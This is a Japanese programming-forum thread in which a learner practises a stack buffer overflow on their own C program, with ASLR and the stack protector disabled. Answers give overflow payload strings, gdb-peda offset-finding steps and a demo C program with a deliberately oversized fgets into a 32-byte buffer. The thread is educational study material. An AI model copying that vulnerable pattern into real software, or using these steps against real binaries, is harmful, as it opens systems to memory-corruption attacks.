質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

ただいまの
回答率

90.75%

  • C

    3458questions

    C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

  • バイナリ

    20questions

バッファオーバーフローを起こしたい。

解決済

回答 2

投稿 編集

  • 評価
  • クリップ 1
  • VIEW 362

NieR

score 4

バッファオーバーフローの勉強をしています。
ASLRは無効。SSPも無効にしてコンパイルしてあります。
cのプログラムです。
イメージ説明
上のプログラムには脆弱性があり、bufferで定義されている32byteよりも大きい値を入力されるとオーバーフローがおきます。
プログラムを実行し、入力に、
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
と与えてみたところ、下の画像のように
EIPがBBBBで書き換えられました。
イメージ説明
これで自分の好きな場所に実行位置を移すことが出来ると思ったので、main関数に飛ばしてもう一度Helloと表示させたいと思いました。下の画像のように逆アセンブリしてみてみると、どうやらmain関数はメモリの000005b4に格納されているみたいなので、
アセンブリ
もう一度、プログラムを実行して入力に
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb4050000
(インテルCPUのためリトルエンディアンです。)
と入力してみましたが、うまく行きません。
下の画像のようになってしまいます。
イメージ説明
なんとなく16進数に変換しないとだめかなと思いましたが、
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0xb40x050x000x00
のように0xをつけてみてもダメでした。
調べてもどのような入力を渡せば良いか分かりませんでした。
環境はkali linux2017.3です。
どなたかご教授お願いいたします。

追記
回答してくださった方の方法でうまくいくと思うけど、もう少し回答いただきたいので一様追記。
EIPに0x000005b4を格納できれば良いみたい。
python3で000005b4をバイト文字列に変換してみると、
\x00\x00\x05\xb4となった。
echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb4\x05\x00\x00' | ./一番上の画像のcのプログラム
としてみても上手くいきませんでした。
書くの忘れていましたが、gcc -m32 でコンパイルしているのでレジスタのサイズは32bitなのでそもそも\x00\x00\x05\xb4がEIPに入りきらない気がする・・・。
(\x00\x00\x05\xb4は16byteもあるので)
BBBBは4byteだから入るけど・・・

asm様のコードがいまいち理解できていません・・・
キーボードでは普通の文字列しか入力できないから、バイナリで入力を渡せるようにファイルにバイナリ形式で書き込んでそれをfgetsで読み込んでいるコードのようだけれど、コンパイルして実行すると、input: となって入力を待たれて何を入れてもWrong anserとなって
コードが進まないです。
ついでに教えて頂けると嬉しいです。

  • 気になる質問をクリップする

    クリップした質問は、後からいつでもマイページで確認できます。

    またクリップした質問に回答があった際、通知やメールを受け取ることができます。

    クリップを取り消します

  • 良い質問の評価を上げる

    以下のような質問は評価を上げましょう

    • 質問内容が明確
    • 自分も答えを知りたい
    • 質問者以外のユーザにも役立つ

    評価が高い質問は、TOPページの「注目」タブのフィードに表示されやすくなります。

    質問の評価を上げたことを取り消します

  • 評価を下げられる数の上限に達しました

    評価を下げることができません

    • 1日5回まで評価を下げられます
    • 1日に1ユーザに対して2回まで評価を下げられます

    質問の評価を下げる

    teratailでは下記のような質問を「具体的に困っていることがない質問」、「サイトポリシーに違反する質問」と定義し、推奨していません。

    • プログラミングに関係のない質問
    • やってほしいことだけを記載した丸投げの質問
    • 問題・課題が含まれていない質問
    • 意図的に内容が抹消された質問
    • 広告と受け取られるような投稿

    評価が下がると、TOPページの「アクティブ」「注目」タブのフィードに表示されにくくなります。

    質問の評価を下げたことを取り消します

    この機能は開放されていません

    評価を下げる条件を満たしてません

    評価を下げる理由を選択してください

    詳細な説明はこちら

    上記に当てはまらず、質問内容が明確になっていない質問には「情報の追加・修正依頼」機能からコメントをしてください。

    質問の評価を下げる機能の利用条件

    この機能を利用するためには、以下の事項を行う必要があります。

質問への追記・修正、ベストアンサー選択の依頼

  • Eki

    2018/01/24 23:17 編集

    とりあえず、\x00\x00\x05\xb4 は32ビットですよ。16進数1ケタに対して4ビットで、それが8桁あるので。 文字列と値を混同されているようですが、'\x00'は {'\','x','0','0'} という4文字ではなく、エスケープシーケンスを使った特殊な文字です。 '\x00'という、言うなれば char 型1つの値です。char c = 0x00; としたときの c にあたります。つまり文字を文字コードで直接指定する書き方のようなものです。

    キャンセル

  • NieR

    2018/01/25 04:22

    \x00\x00\x05\xb4はバイナリではなく普通の文字列として渡されてしまっているということですね。バイナリ形式で値を渡す方法を探してみます。ありがとうございました。

    キャンセル

  • Eki

    2018/01/25 05:17

    それはそれとして、追加された部分ですが、 input: や Wrong anser とは何が表示している文字列ですか? asm さんのプログラムにはそのような文字列もなく、キーボード入力を受け付けてもないので、おそらく何か別のプログラム (シェルなど?) による表示と思われます。ちなみに、 asm さんのプログラムはこちらの環境 (Arch Linux, 64-bit, -m32 -fno-stack-protector) では正しく脆弱性を再現しました。

    キャンセル

  • NieR

    2018/01/25 05:39

    私も、asm様のプログラムに入力を受け付けるような部分がないので不思議に思っておりました。他のコンパイルした実行ファイルは普通に動くのですが、asm様のコードだけなぜか ./コンパイルしたasm様のコード とターミナルで実行するとなぜか入力を待たれるのです。タイトルから逸れた内容になるのでもう少し調べてみます。わざわざ実行までしてくださりありがとうございます。

    キャンセル

回答 2

checkベストアンサー

0

そういえば、input: や Wrong anser と表示される件についてはどうなりましたか?

詳しくメモリ配置諸々について説明しろと言われると知識不足なので答えられませんが...
とりあえずやってみました。環境は Arch Linux, 64-bit です。

まず、

EIPに0x000005b4を格納できれば良い

がどうも怪しいです。

実際に同様のプログラムを書き、 -m32 -fno-stack-protector オプションを付けてコンパイルしたバイナリを obbjdump と gdb を使って逆アセンブルしてみました。

objdump -d で表示されるアドレスは、NieR さんと同じように非常に小さいものでした (3ケタとか) 。一方、gdb で プログラムを開始した後 に disassemble main で表示されたアドレスは、その3ケタの上に5ケタくらいくっついて8ケタくらいになっていました。

つまり、バイナリは相対アドレスになっていて、実行時にどこぞに配置されているようなのです。つまりは position-independent executable になっているようなのです。おそらく ASLR を行うため、デフォルトで (私の環境では) PIE になるようです。 NieR さんの環境もおそらくそうなのでは?

というわけで、明示的に -fno-PIE -no-pie と指定して PIE でないバイナリをコンパイルするか、PIE なバイナリの場合は (ALSR を解除した状態であることは前提になりますが) 実際に配置されるアドレスを取得する必要があります。

PIE でないバイナリをコンパイルした場合は objdump で見れば分かります。

PIE な場合は

  1. 実行してみて pid を確認し、/proc/{pid}/maps で確認する
  2. gdb で disassemble コマンドを実行して見る
  3. プログラム自信に main() 関数のアドレスを取って表示させる

などして得られます。 PIE が実際どこに配置されるかなどのルールは私には分からないので、得られたアドレスがどれくらいの間有効なのかは分かりませんが、とりあえず実験して確かめる間くらいは同じアドレスになってくれました。

そして正しいアドレスが分かったら、 echo -e 'AA....A\x00\x00\x00\x00' を使う方法で再現させられます。うまく普通の文字列の範囲におさまってくれたなら、手入力でも同様です。


以下、実際に私がやって再現させたときの手順です。いろいろ関係のない部分もありますが。

 コンパイル

ファイルは vulnerable.c です。中身は質問文に貼られていた画像の通りに写しました。

% gcc -o vulnerable vulnerable.c -m32 -fno-stack-protection

これで、 PIE なバイナリができます。あるいは

% gcc -o vulnerable vulnerable.c -m32 -fno-stack-protection -fno-PIE -no-pie

これで、 PIE でないバイナリができます。

 アドレス割り出し

gdb を使います。

% gdb vulnerable

この直後に disassemble main してもまだ配置されていないので例の相対アドレスが出るのみです。なのでまずは実行。止まってほしいので run でなく start します。

gdb-peda$ start

続いて、

gdb-peda$ disassemble main

とすると、main() 関数が逆アセンブルされます。このときの先頭の <+0> となっているところのアドレスが main() の先頭アドレスです。メモするなりなんなり。

 EIP を書き換えるためのオフセットを探す

続いて文字列のどこにアドレスを入れると EIP を書き換えられるかを探します。それに関しては NieR さんは既に分かっていらっしゃるようなので不要ですが一応。

gdb-peda$ pattern create 200 input

200文字のパターンを input というファイルに保存しておきます。これを標準入力にリダイレクトするという算段です。パターンを標準入力に与える方法、もっと普通のやり方があるのかもしれないですが、とりあえずこれでできたのでよしとします。

gdb-peda$ run < input

すると当然落ちます。落ちたときの EIP に入っている文字列を覚えて次のようにコマンドを唱えると

gdb-peda$ pattern offset {XXXX: EIP に入っていた文字列}
XXXX found at offset: **

となって、オフセットが表示されます。この ** にある数字の数が求めるオフセットです。

 実行

ここまでくると (ASLR をシステムワイドで無効にしているならば) gdb は終了しても大丈夫です。echo -e を使って入力を作り、パイプします。

% echo -e 'AA...AAA\x00\x00\x00\x00' | ./vulnerable
Hello
Hello
segmentation fault

私はシステムワイドでは無効にしていないので gdb の無効化に頼りましたが。 gdb 内でファイルを経由して入力し、成功することを確認しました。また、 PIE でないプログラムについては、上のようにパイプを使って行う方法で同様に確認できました。

おつかれさまでした。

繰り返しになりますが、私はあまり詳しくないので、詳細な質問にはお答えできないかもしれません。

投稿

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2018/01/31 00:44

    inputと入力を受け付ける問題は解決しなかったため、別のVMで試しました。
    Eki様の詳しい手順のおかげで無事、再現できました。
    実は、色々しているうちにEIPに任意のアドレスを入れるところまでは出来たのですが、そこに実行可能なプログラムは無いよとエラーが吐かれて止まっていましたが、PIEになっていたからなのですね。
    丁寧な回答に感謝いたします。また、asm様も私の実力不足で理解に及ばなかったのですが本当にありがとうございました。

    キャンセル

0

EIPがBBBBではなく0x42424242に書き換えられています。

キーボード入力からバイナリ文字列を入力する方法はちょっと分かりませんが
適当なファイルを仲介することで可能かと思います

FILE* in;
void exploit(){
  puts("exploit!\n");
}
void exploit_code_gen(void* func){
  in = fopen("exploit_string", "w+b");
  fprintf(in, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
  fwrite(&func, sizeof(func), 1, in);
  rewind(in);
}
void vulnenable_func(){
  char buf[32];
  fgets(buf, 128, in);
}
int main(){
  exploit_code_gen(exploit);
  vulnenable_func();
  return 0;
}

投稿

編集

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    下記のような回答は推奨されていません。

    • 間違っている回答
    • 質問の回答になっていない投稿
    • スパムや攻撃的な表現を用いた投稿

    評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。

  • 2018/01/24 14:21

    お忙しい中、コードまで書いて頂き本当にありがとうございます。
    c言語が不慣れなもので理解出来るようにがんばってみます。

    キャンセル

15分調べてもわからないことは、teratailで質問しよう!

  • ただいまの回答率 90.75%
  • 質問をまとめることで、思考を整理して素早く解決
  • テンプレート機能で、簡単に質問をまとめられる

関連した質問

  • 解決済

    xcodeでの画面サイズ変更方法

    swiftでサンプルコードを写しているのですが、参考書を今まで放置してたのでxcodeのバージョンが違うので画面サイズ変更の方法がわからないです。 simulatorでの表示画面

  • 解決済

    Blender Game Engineでマテリアルを透過したい

    Blenderでゲーム開発をしようとしているものです。 Blender Renderで透過処理したマテリアルをBlender Gameに反映させたいと思っているのですが、透過でき

  • 解決済

    ACCESS クエリでの一部重複?の除外方法について

    前提・実現したいこと こんにちは、質問タイトルが適格でないかもしれませんが宜しくお願いいたします。 通販事業をしており、商品の仕入から販売までのデータベースをACCESSの

  • 解決済

    xcode Vertical Stack View

    xcodeの基本を学んでいるのですが、 main.storyboardにObject LibraryのVertical Stack Viewを ドラッグ&ドロップし、 そのV

  • 解決済

    回答ありがとうございました

    質問消せないようなので問題文は 消させていただきます 回答ありがとうございました

  • 解決済

    vb2017でexcel2016操作

    vb2017を使っています。 communityです。 excel2016を開いてセルのデータを読み込みたいと思っています。 参考にしているサイトです。 http://d.

  • 解決済

    C#からGoogle Sheets APIを呼び出したい

    前提・実現したいこと Visual Studio 2015でアプリ作成中です。 C#からGoogle Sheets APIを呼び出したいのですが、実行するとエラーメッセージが表

  • 解決済

    ASUS ZenPadで、Camera2APIで、1分動画を2時間分撮影したいです。

    Nexsus 5Xでは、1分動画を、2時間ぶん、撮影することができました。 しかし、ZenPadでは、エラーが出ます。 このようなエラーが繰り返して表示されます。 参

同じタグがついた質問を見る

  • C

    3458questions

    C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

  • バイナリ

    20questions